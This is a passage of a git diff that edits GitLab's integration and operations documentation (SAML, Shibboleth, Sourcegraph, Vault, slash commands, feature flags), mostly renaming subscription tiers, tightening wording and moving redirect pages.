a bot, is attempting to create an account. To use reCAPTCHA, first you must create a site and private key. -1. Go to the URL: <https://www.google.com/recaptcha/admin>. +1. Go to the [Google reCAPTCHA page](https://www.google.com/recaptcha/admin). 1. Fill out the form necessary to obtain reCAPTCHA v2 keys. 1. Log in to your GitLab server, with administrator credentials. 1. Go to Reporting Applications Settings in the Admin Area (`admin/application_settings/reporting`). @@ -26,7 +26,7 @@ To use reCAPTCHA, first you must create a site and private key. return `recaptcha_html`. NOTE: -Make sure you are viewing an issuable in a project that is public, and if you're working with an issue, the issue is public. +Make sure you are viewing an issuable in a project that is public. If you're working with an issue, the issue is public. ## Enabling reCAPTCHA for user logins via passwords diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md index 1aca3b04eee..156109518a6 100644 --- a/doc/integration/salesforce.md +++ b/doc/integration/salesforce.md @@ -86,4 +86,6 @@ Click the icon to begin the authentication process. Salesforce asks the user to If everything goes well, the user is returned to GitLab and is signed in. NOTE: -GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab redirects the user to the profile page where they must provide the email and verify the email. +GitLab requires the email address of each new user. After the user is signed in +using Salesforce, GitLab redirects the user to the profile page where they must +provide the email and verify the email. diff --git a/doc/integration/saml.md b/doc/integration/saml.md index af0a58eab59..9b6ad3f2755 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -5,7 +5,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SAML OmniAuth Provider **(CORE ONLY)** +# SAML OmniAuth Provider **(FREE SELF)** This page describes instance-wide SAML for self-managed GitLab instances. For SAML on GitLab.com, see [SAML SSO for GitLab.com groups](../user/group/saml_sso/index.md). @@ -17,7 +17,7 @@ You should also reference the [OmniAuth documentation](omniauth.md) for general |------|-------------| | Identity Provider (IdP) | The service which manages your user identities such as ADFS, Okta, Onelogin, or Ping Identity. | | Service Provider (SP) | SAML considers GitLab to be a service provider. | -| Assertion | A piece of information about a user's identity, such as their name or role. Also know as claims or attributes. | +| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. | | SSO | Single Sign-On. | | Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. | | Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | @@ -163,9 +163,21 @@ will be returned to GitLab and will be signed in. ## SAML Groups -You can require users to be members of a certain group, or assign users `external`, `admin` or `auditor` roles based on group membership. This feature **does not** allow you to +You can require users to be members of a certain group, or assign users [external](../user/permissions.md#external-users), admin or [auditor](../user/permissions.md#auditor-users) roles based on group membership. +These groups are checked on each SAML login and user attributes updated as necessary. +This feature **does not** allow you to automatically add users to GitLab [Groups](../user/group/index.md). +Support for these groups depends on your [subscription](https://about.gitlab.com/pricing/) +and whether you've installed [GitLab Enterprise Edition (EE)](https://about.gitlab.com/install/). + +| Group | Tier | GitLab Enterprise Edition (EE) Only? | +|------------------------------|--------------------|--------------------------------------| +| [Required](#required-groups) | **(FREE SELF)** | Yes | +| [External](#external-groups) | **(FREE SELF)** | No | +| [Admin](#admin-groups) | **(FREE SELF)** | Yes | +| [Auditor](#auditor-groups) | **(PREMIUM SELF)** | Yes | + ### Requirements First you need to tell GitLab where to look for group information. For this you @@ -187,7 +199,7 @@ The name of the attribute can be anything you like, but it must contain the grou to which a user belongs. In order to tell GitLab where to find these groups, you need to add a `groups_attribute:` element to your SAML settings. -### Required groups **(STARTER ONLY)** +### Required groups **(FREE SELF)** Your IdP passes Group Information to the SP (GitLab) in the SAML Response. You need to configure GitLab to identify: @@ -213,9 +225,9 @@ Example: } } ``` -### External Groups **(STARTER ONLY)** +### External groups **(FREE SELF)** -SAML login supports automatic identification on whether a user should be considered an [external](../user/permissions.md) user. This is based on the user's group membership in the SAML identity provider. +SAML login supports automatic identification on whether a user should be considered an [external user](../user/permissions.md#external-users). This is based on the user's group membership in the SAML identity provider. ```yaml { name: 'saml', @@ -231,7 +243,7 @@ SAML login supports automatic identification on whether a user should be conside } } ``` -### Admin Groups **(STARTER ONLY)** +### Admin groups **(FREE SELF)** The requirements are the same as the previous settings, your IdP needs to pass Group information to GitLab, you need to tell GitLab where to look for the groups in the SAML response, and which group(s) should be @@ -251,13 +263,13 @@ considered admin users. } } ``` -### Auditor Groups **(STARTER ONLY)** +### Auditor groups **(PREMIUM SELF)** > Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.4. The requirements are the same as the previous settings, your IdP needs to pass Group information to GitLab, you need to tell GitLab where to look for the groups in the SAML response, and which group(s) should be -considered auditor users. +considered [auditor users](../user/permissions.md#auditor-users). ```yaml { name: 'saml', @@ -385,7 +397,7 @@ This setting should be used only to map attributes that are part of the OmniAuth `attribute_statements` is used to map Attribute Names in a SAMLResponse to entries in the OmniAuth [`info` hash](https://github.com/omniauth/omniauth/wiki/Auth-Hash-Schema#schema-10-and-later). -For example, if your SAMLResponse contains an Attribute called 'EmailAddress', +For example, if your SAMLResponse contains an Attribute called `EmailAddress`, specify `{ email: ['EmailAddress'] }` to map the Attribute to the corresponding key in the `info` hash. URI-named Attributes are also supported, e.g. `{ email: ['http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress'] }`. @@ -582,8 +594,8 @@ GitLab will sign the request with the provided private key. GitLab will include Avoid user control of the following attributes: -- [`*NameID*`](../user/group/saml_sso/index.md#nameid) -- *Email* when used with `omniauth_auto_link_saml_user` +- [`NameID`](../user/group/saml_sso/index.md#nameid) +- `Email` when used with `omniauth_auto_link_saml_user` These attributes define the SAML user. If users can change these attributes, they can impersonate others. @@ -593,7 +605,7 @@ Refer to the documentation for your SAML Identity Provider for information on ho The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md) guide provides an overview of how GitLab generates and sets passwords for users created via SAML. -## Configuring Group SAML on a self-managed GitLab instance **(PREMIUM ONLY)** +## Configuring Group SAML on a self-managed GitLab instance **(PREMIUM SELF)** For information on the GitLab.com implementation, please see the [SAML SSO for GitLab.com groups page](../user/group/saml_sso). diff --git a/doc/integration/security_partners/index.md b/doc/integration/security_partners/index.md new file mode 100644 index 00000000000..1cd14947e74 --- /dev/null +++ b/doc/integration/security_partners/index.md @@ -0,0 +1,23 @@ +--- +stage: Protect +group: Container Security +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: index +--- + +# Security partner integrations + +You can integrate GitLab with its security partners. This page has information on how do this with +each security partner: + +<!-- vale gitlab.Spelling = NO --> + +- [Anchore](https://docs.anchore.com/current/docs/using/integration/ci_cd/gitlab/) +- [Bridgecrew](https://docs.bridgecrew.io/docs/integrate-with-gitlab-self-managed) +- [Checkmarx](https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1929937052/GitLab+Integration) +- [Indeni](https://indeni.com/doc-indeni-cloudrail/integrate-with-ci-cd/gitlab-instructions/) +- [JScrambler](https://docs.jscrambler.com/code-integrity/documentation/gitlab-ci-integration) +- [StackHawk](https://docs.stackhawk.com/continuous-integration/gitlab.html) +- [WhiteSource](https://www.whitesourcesoftware.com/gitlab/) + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/integration/shibboleth.md b/doc/integration/shibboleth.md index e811cac4f0b..3b92f2858ac 100644 --- a/doc/integration/shibboleth.md +++ b/doc/integration/shibboleth.md @@ -10,17 +10,17 @@ NOTE: The preferred approach for integrating a Shibboleth authentication system with GitLab 10 or newer is to use the [GitLab SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older. -In order to enable Shibboleth support in GitLab we need to use Apache instead of NGINX (It may be possible to use NGINX, however this is difficult to configure using the bundled NGINX provided in the Omnibus GitLab package). Apache uses mod_shib2 module for Shibboleth authentication and can pass attributes as headers to OmniAuth Shibboleth provider. +To enable Shibboleth support in GitLab we need to use Apache instead of NGINX. (It may be possible to use NGINX, however this is difficult to configure using the bundled NGINX provided in the Omnibus GitLab package.) Apache uses `mod_shib2` module for Shibboleth authentication and can pass attributes as headers to OmniAuth Shibboleth provider. To enable the Shibboleth OmniAuth provider you must configure Apache Shibboleth module. The installation and configuration of the module itself is out of the scope of this document. -Check <https://wiki.shibboleth.net/confluence/display/SP3/Apache> for more information. +Check [the Shibboleth documentation](https://wiki.shibboleth.net/confluence/display/SP3/Apache) for more information. You can find Apache configuration in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache). The following changes are needed to enable Shibboleth: -1. Protect OmniAuth Shibboleth callback URL: +1. Protect the OmniAuth Shibboleth callback URL: ```apache <Location /users/auth/shibboleth/callback> @@ -53,7 +53,7 @@ The following changes are needed to enable Shibboleth: ``` NOTE: - Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an + In GitLab versions 11.4 and later, OmniAuth is enabled by default. If you're using an earlier version, you must explicitly enable it in `/etc/gitlab/gitlab.rb`. 1. In addition, add Shibboleth to `/etc/gitlab/gitlab.rb` as an OmniAuth provider. @@ -100,7 +100,7 @@ The following changes are needed to enable Shibboleth: 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in. +On the sign in page, there should now be a **Sign in with: Shibboleth** icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in. ## Apache 2.4 / GitLab 8.6 update diff --git a/doc/integration/slack.md b/doc/integration/slack.md deleted file mode 100644 index fbea9d3035c..00000000000 --- a/doc/integration/slack.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/integrations/slack.md' ---- - -This document was moved to [another location](../user/project/integrations/slack.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md index 6820ff8a0aa..0dcf86cc46d 100644 --- a/doc/integration/slash_commands.md +++ b/doc/integration/slash_commands.md @@ -6,9 +6,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Slash Commands -> The `run` command was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4466) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24780) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9. +> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24780) to GitLab Free in 11.9. -Slash commands in Mattermost and Slack allow you to control GitLab and view GitLab content right inside your chat client, without having to leave it. For Slack, this requires an [integration configuration](../user/project/integrations/slack_slash_commands.md). Simply type the command as a message in your chat client to activate it. +Slash commands in Mattermost and Slack allow you to control GitLab and view GitLab content right inside your chat client, without having to leave it. For Slack, this requires an [integration configuration](../user/project/integrations/slack_slash_commands.md). Type the command as a message in your chat client to activate it. Commands are scoped to a project, with a trigger term that is specified during configuration. @@ -26,22 +26,22 @@ Taking the trigger term as `project-name`, the commands are: | `/project-name issue move <id> to <project>` | Moves issue ID `<id>` to `<project>` | | `/project-name issue comment <id> <shift+return> <comment>` | Adds a new comment to an issue with ID `<id>` and comment body `<comment>` | | `/project-name deploy <from> to <to>` | Deploy from the `<from>` environment to the `<to>` environment | -| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/README.md) job `<job name>` on `master` | +| `/project-name run <job name> <arguments>` | Execute [ChatOps](../ci/chatops/index.md) job `<job name>` on `master` | -Note that if you are using the [GitLab Slack application](../user/project/integrations/gitlab_slack_application.md) for -your GitLab.com projects, you need to [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#usage). +If you are using the [GitLab Slack application](../user/project/integrations/gitlab_slack_application.md) for +your GitLab.com projects, [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#usage). ## Issue commands -It is possible to create new issue, display issue details and search up to 5 issues. +It's possible to create new issue, display issue details and search up to 5 issues. ## Deploy command -In order to deploy to an environment, GitLab tries to find a deployment +To deploy to an environment, GitLab tries to find a deployment manual action in the pipeline. -If there is only one action for a given environment, it is triggered. -If there is more than one action defined, GitLab tries to find an action +If there's only one action for a given environment, it is triggered. +If more than one action is defined, GitLab tries to find an action which name equals the environment name we want to deploy to. The command returns an error when no matching action has been found. diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md index 8e1a6cdcfd1..d068aabed41 100644 --- a/doc/integration/sourcegraph.md +++ b/doc/integration/sourcegraph.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, how-to --- -# Sourcegraph integration +# Sourcegraph integration **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16556) in GitLab 12.5. > - Note that this integration is in BETA and deployed [behind a feature flag](#enable-the-sourcegraph-feature-flag) disabled by default. Self-managed instances can opt to enable it. @@ -23,9 +23,9 @@ NOTE: This feature requires user opt-in. After Sourcegraph has been enabled for your GitLab instance, you can choose to enable Sourcegraph [through your user preferences](#enable-sourcegraph-in-user-preferences). -## Set up for self-managed GitLab instances **(CORE ONLY)** +## Set up for self-managed GitLab instances **(FREE SELF)** -Before you can enable Sourcegraph code intelligence in GitLab you will need to: +Before you can enable Sourcegraph code intelligence in GitLab you must: - Enable the `sourcegraph` feature flag for your GitLab instance. - Configure a Sourcegraph instance with your GitLab instance as an external service. @@ -33,7 +33,7 @@ Before you can enable Sourcegraph code intelligence in GitLab you will need to: ### Enable the Sourcegraph feature flag NOTE: -If you are running a self-managed instance, the Sourcegraph integration will not be available +If you are running a self-managed instance, the Sourcegraph integration is unavailable unless the feature flag `sourcegraph` is enabled. This can be done from the Rails console by instance administrators. @@ -64,7 +64,7 @@ Feature.enable(:sourcegraph, Project.find_by_full_path('my_group/my_project')) If you are new to Sourcegraph, head over to the [Sourcegraph installation documentation](https://docs.sourcegraph.com/admin) and get your instance up and running. -If you are using an HTTPS connection to GitLab, you will need to [configure HTTPS](https://docs.sourcegraph.com/admin/http_https_configuration) for your Sourcegraph instance. +If you are using an HTTPS connection to GitLab, you must [configure HTTPS](https://docs.sourcegraph.com/admin/http_https_configuration) for your Sourcegraph instance. ### Connect your Sourcegraph instance to your GitLab instance @@ -79,23 +79,26 @@ You can skip this step if you already have your GitLab repositories searchable i 1. In GitLab, go to **Admin Area > Settings > General**. 1. Expand the **Sourcegraph** configuration section. 1. Check **Enable Sourcegraph**. -1. Set the Sourcegraph URL to your Sourcegraph instance, e.g., `https://sourcegraph.example.com`. +1. Set the Sourcegraph URL to your Sourcegraph instance, such as `https://sourcegraph.example.com`. - + ## Enable Sourcegraph in user preferences If a GitLab administrator has enabled Sourcegraph, you can enable this feature in your user preferences. -1. In GitLab, click your avatar in the top-right corner, then click **Settings**. On the left-hand nav, click **Preferences**. -1. Under **Integrations**, find the **Sourcegraph** section. -1. Check **Enable Sourcegraph**. +In GitLab: + +1. In the top-right corner, select your avatar. +1. Select **Preferences**. +1. In the **Integrations** section, select the checkbox under **Sourcegraph**. +1. Select **Save changes**.  ## Using Sourcegraph code intelligence -Once enabled, participating projects will have a code intelligence popover available in +Once enabled, participating projects display a code intelligence popover available in the following code views: - Merge request diffs @@ -114,7 +117,7 @@ When visiting one of these views, you can now hover over a code reference to see Sourcegraph powered code intelligence is available for all public projects on GitLab.com. -Support for private projects is currently not available for GitLab.com; +Support for private projects is not yet available for GitLab.com; follow the epic [&2201](https://gitlab.com/groups/gitlab-org/-/epics/2201) for updates. @@ -122,7 +125,7 @@ for updates. ### Sourcegraph isn't working -If you enabled Sourcegraph for your project but still it doesn't look like it's working, it might be because Sourcegraph has not indexed the project yet. You can check for Sourcegraph's availability of your project by visiting `https://sourcegraph.com/gitlab.com/<project-path>`replacing `<project-path>` with the path to your GitLab project. +If you enabled Sourcegraph for your project but it isn't working, Sourcegraph may not have indexed the project yet. You can check for Sourcegraph's availability of your project by visiting `https://sourcegraph.com/gitlab.com/<project-path>`replacing `<project-path>` with the path to your GitLab project. ## Sourcegraph and Privacy @@ -130,5 +133,5 @@ From Sourcegraph's [extension documentation](https://docs.sourcegraph.com/integr engine behind the native GitLab integration: > Sourcegraph integrations never send any logs, pings, usage statistics, or telemetry to Sourcegraph.com. -> They will only connect to Sourcegraph.com as required to provide code intelligence or other functionality on public code. +> They connect only to Sourcegraph.com as required to provide code intelligence or other functionality on public code. > As a result, no private code, private repository names, usernames, or any other specific data is sent to Sourcegraph.com. diff --git a/doc/integration/trello_power_up.md b/doc/integration/trello_power_up.md index d30308cea7a..1a1b6cd101f 100644 --- a/doc/integration/trello_power_up.md +++ b/doc/integration/trello_power_up.md @@ -38,8 +38,11 @@ If your instance's URL is `https://example.com`, your API URL is `https://exampl Your GitLab personal access token enables your GitLab account to be accessed from Trello. -> Find it in GitLab by clicking on your avatar (upright corner), from which you access -your user **Settings** > **Access Tokens**. +To find it in GitLab: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the left sidebar, select **Access Tokens**. Learn more about generating a personal access token in the [Personal Access Token Documentation](../user/profile/personal_access_tokens.md). diff --git a/doc/integration/vault.md b/doc/integration/vault.md index 3c49cd47509..362ae36389b 100644 --- a/doc/integration/vault.md +++ b/doc/integration/vault.md @@ -18,12 +18,15 @@ The following assumes you already have Vault installed and running. 1. **Get the OpenID Connect client ID and secret from GitLab:** - First you must create a GitLab application to obtain an application ID and secret for authenticating into Vault. To do this, sign in to GitLab and follow these steps: - - 1. On GitLab, click your avatar on the top-right corner, and select your user **Settings > Applications**. - 1. Fill out the application **Name** and [**Redirect URI**](https://www.vaultproject.io/docs/auth/jwt#redirect-uris), - making sure to select the **OpenID** scope. - 1. Save application. + First you must create a GitLab application to obtain an application ID and secret for authenticating into Vault. + To do this, sign in to GitLab and follow these steps: + + 1. In the top-right corner, select your avatar. + 1. Select **Edit profile**. + 1. In the left sidebar, select **Applications**. + 1. Fill out the application **Name** and [**Redirect URI**](https://www.vaultproject.io/docs/auth/jwt#redirect-uris). + 1. Select the **OpenID** scope. + 1. Select **Save application**. 1. Copy client ID and secret, or keep the page open for reference.  @@ -44,7 +47,7 @@ The following assumes you already have Vault installed and running. Success! Enabled oidc auth method at: oidc/ ``` -1. **Write the OIDC config:** +1. **Write the OIDC configuration:** Next, Vault needs to be given the application ID and secret generated by GitLab. @@ -67,7 +70,7 @@ The following assumes you already have Vault installed and running. Success! Data written to: auth/oidc/config ``` -1. **Write the OIDC Role Config:** +1. **Write the OIDC Role Configuration:** Now that Vault has a GitLab application ID and secret, it needs to know the [**Redirect URIs**](https://www.vaultproject.io/docs/auth/jwt#redirect-uris) and scopes given to GitLab during the application creation process. The redirect URIs need to match where your Vault instance is running. The `oidc_scopes` field needs to include the `openid`. Similarly to the previous step, replace `your_application_id` with the generated application ID from GitLab: @@ -108,7 +111,7 @@ The following assumes you already have Vault installed and running. Here's a short explanation of what this command does: - 1. In the **Write the OIDC Role Config** (step 4), we created a role called + 1. In the **Write the OIDC Role Configuration** (step 4), we created a role called `demo`. We set `role=demo` so Vault knows which configuration we'd like to sign in with. 1. To set Vault to use the `OIDC` sign-in method, we set `-method=oidc`. diff --git a/doc/intro/README.md b/doc/intro/README.md index 5df4efe5307..c815842480c 100644 --- a/doc/intro/README.md +++ b/doc/intro/README.md @@ -1,49 +1,8 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" -comments: false +redirect_to: 'index.md' --- -# Get started with GitLab +This document was moved to [another location](index.md). -## Organize - -Create projects and groups. - -- [Create a new project](../gitlab-basics/create-project.md) -- [Create a new group](../user/group/index.md#create-a-new-group) - -## Prioritize - -Create issues, labels, milestones, cast your vote, and review issues. - -- [Create an issue](../user/project/issues/managing_issues.md#create-a-new-issue) -- [Assign labels to issues](../user/project/labels.md) -- [Use milestones as an overview of your project's tracker](../user/project/milestones/index.md) -- [Use voting to express your like/dislike to issues and merge requests](../user/award_emojis.md) - -## Collaborate - -Create merge requests and review code. - -- [Fork a project and contribute to it](../user/project/repository/forking_workflow.md) -- [Create a new merge request](../user/project/merge_requests/creating_merge_requests.md) -- [Automatically close issues from merge requests](../user/project/issues/managing_issues.md#closing-issues-automatically) -- [Automatically merge when pipeline succeeds](../user/project/merge_requests/merge_when_pipeline_succeeds.md) -- [Revert any commit](../user/project/merge_requests/revert_changes.md) -- [Cherry-pick any commit](../user/project/merge_requests/cherry_pick_changes.md) - -## Test and Deploy - -Use the built-in continuous integration in GitLab. - -- [Get started with GitLab CI/CD](../ci/quick_start/README.md) - -## Install and Update - -Install and update your GitLab installation. - -- [Install GitLab](https://about.gitlab.com/install/) -- [Update GitLab](https://about.gitlab.com/update/) -- [Explore Omnibus GitLab configuration options](https://docs.gitlab.com/omnibus/settings/configuration.html) +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/intro/index.md b/doc/intro/index.md new file mode 100644 index 00000000000..1ab7553d3a8 --- /dev/null +++ b/doc/intro/index.md @@ -0,0 +1,49 @@ +--- +stage: Create +group: Source Code +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +comments: false +--- + +# Get started with GitLab **(FREE)** + +## Organize + +Create projects and groups. + +- [Create a new project](../user/project/working_with_projects.md#create-a-project) +- [Create a new group](../user/group/index.md#create-a-new-group) + +## Prioritize + +Create issues, labels, milestones, cast your vote, and review issues. + +- [Create an issue](../user/project/issues/managing_issues.md#create-a-new-issue) +- [Assign labels to issues](../user/project/labels.md) +- [Use milestones as an overview of your project's tracker](../user/project/milestones/index.md) +- [Use voting to express your like/dislike to issues and merge requests](../user/award_emojis.md) + +## Collaborate + +Create merge requests and review code. + +- [Fork a project and contribute to it](../user/project/repository/forking_workflow.md) +- [Create a new merge request](../user/project/merge_requests/creating_merge_requests.md) +- [Automatically close issues from merge requests](../user/project/issues/managing_issues.md#closing-issues-automatically) +- [Automatically merge when pipeline succeeds](../user/project/merge_requests/merge_when_pipeline_succeeds.md) +- [Revert any commit](../user/project/merge_requests/revert_changes.md) +- [Cherry-pick any commit](../user/project/merge_requests/cherry_pick_changes.md) + +## Test and Deploy + +Use the built-in continuous integration in GitLab. + +- [Get started with GitLab CI/CD](../ci/quick_start/index.md) + +## Install and Update + +Install and update your GitLab installation. + +- [Install GitLab](https://about.gitlab.com/install/) +- [Update GitLab](https://about.gitlab.com/update/) +- [Explore Omnibus GitLab configuration options](https://docs.gitlab.com/omnibus/settings/configuration.html) diff --git a/doc/legal/README.md b/doc/legal/README.md index 371ea53046c..c815842480c 100644 --- a/doc/legal/README.md +++ b/doc/legal/README.md @@ -1,10 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false +redirect_to: 'index.md' --- -# Legal +This document was moved to [another location](index.md). -Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md). +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/legal/index.md b/doc/legal/index.md new file mode 100644 index 00000000000..371ea53046c --- /dev/null +++ b/doc/legal/index.md @@ -0,0 +1,10 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +--- + +# Legal + +Please read through the [GitLab License Agreement](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md). diff --git a/doc/license/README.md b/doc/license/README.md deleted file mode 100644 index f0ff27c315e..00000000000 --- a/doc/license/README.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/license.md' ---- - -This document was moved to [another location](../user/admin_area/license.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/markdown/markdown.md b/doc/markdown/markdown.md deleted file mode 100644 index e68f9c217d5..00000000000 --- a/doc/markdown/markdown.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/markdown.md' ---- - -This document was moved to [another location](../user/markdown.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/health_check.md b/doc/monitoring/health_check.md deleted file mode 100644 index d607ea03d5a..00000000000 --- a/doc/monitoring/health_check.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/monitoring/health_check.md' ---- - -This document was moved to [user/admin_area/monitoring/health_check](../user/admin_area/monitoring/health_check.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/gitlab_configuration.md b/doc/monitoring/performance/gitlab_configuration.md deleted file mode 100644 index 6a6f297f674..00000000000 --- a/doc/monitoring/performance/gitlab_configuration.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../administration/monitoring/performance/gitlab_configuration.md' ---- - -This document was moved to [administration/monitoring/performance/gitlab_configuration](../../administration/monitoring/performance/gitlab_configuration.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/grafana_configuration.md b/doc/monitoring/performance/grafana_configuration.md deleted file mode 100644 index 98dfe51ae04..00000000000 --- a/doc/monitoring/performance/grafana_configuration.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../administration/monitoring/performance/grafana_configuration.md' ---- - -This document was moved to [administration/monitoring/performance/grafana_configuration](../../administration/monitoring/performance/grafana_configuration.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/monitoring/performance/influxdb_configuration.md b/doc/monitoring/performance/influxdb_configuration.md deleted file mode 100644 index 0bcb18bdfe7..00000000000 --- a/doc/monitoring/performance/influxdb_configuration.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../../administration/monitoring/performance/prometheus.md' ---- - -Support for InfluxDB was removed in GitLab 13.0. Use [Prometheus](../../administration/monitoring/performance/prometheus.md) for performance monitoring. diff --git a/doc/monitoring/performance/influxdb_schema.md b/doc/monitoring/performance/influxdb_schema.md deleted file mode 100644 index 0bcb18bdfe7..00000000000 --- a/doc/monitoring/performance/influxdb_schema.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: '../../administration/monitoring/performance/prometheus.md' ---- - -Support for InfluxDB was removed in GitLab 13.0. Use [Prometheus](../../administration/monitoring/performance/prometheus.md) for performance monitoring. diff --git a/doc/monitoring/performance/introduction.md b/doc/monitoring/performance/introduction.md deleted file mode 100644 index 71ecd24c743..00000000000 --- a/doc/monitoring/performance/introduction.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../administration/monitoring/performance/index.md' ---- - -This document was moved to [administration/monitoring/performance/introduction](../../administration/monitoring/performance/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/cleaning_up_redis_sessions.md b/doc/operations/cleaning_up_redis_sessions.md deleted file mode 100644 index 96f72099f8f..00000000000 --- a/doc/operations/cleaning_up_redis_sessions.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/operations/cleaning_up_redis_sessions.md' ---- - -This document was moved to [another location](../administration/operations/cleaning_up_redis_sessions.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/error_tracking.md b/doc/operations/error_tracking.md index 6fa67c375c9..8bf0e56c989 100644 --- a/doc/operations/error_tracking.md +++ b/doc/operations/error_tracking.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Error Tracking +# Error Tracking **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/169) in GitLab 11.8. diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index 9ce7eb0ede2..f23880554a6 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -4,11 +4,10 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Feature Flags **(CORE)** +# Feature Flags **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7433) in GitLab 11.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4. -> - 